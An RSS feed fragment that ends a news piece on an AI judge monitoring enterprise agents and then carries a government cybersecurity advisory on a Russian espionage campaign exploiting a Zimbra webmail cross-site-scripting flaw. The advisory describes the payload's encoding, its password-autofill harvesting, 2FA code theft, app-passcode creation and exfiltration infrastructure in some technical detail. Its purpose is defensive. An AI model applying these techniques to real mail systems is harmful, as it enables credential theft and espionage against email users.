policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
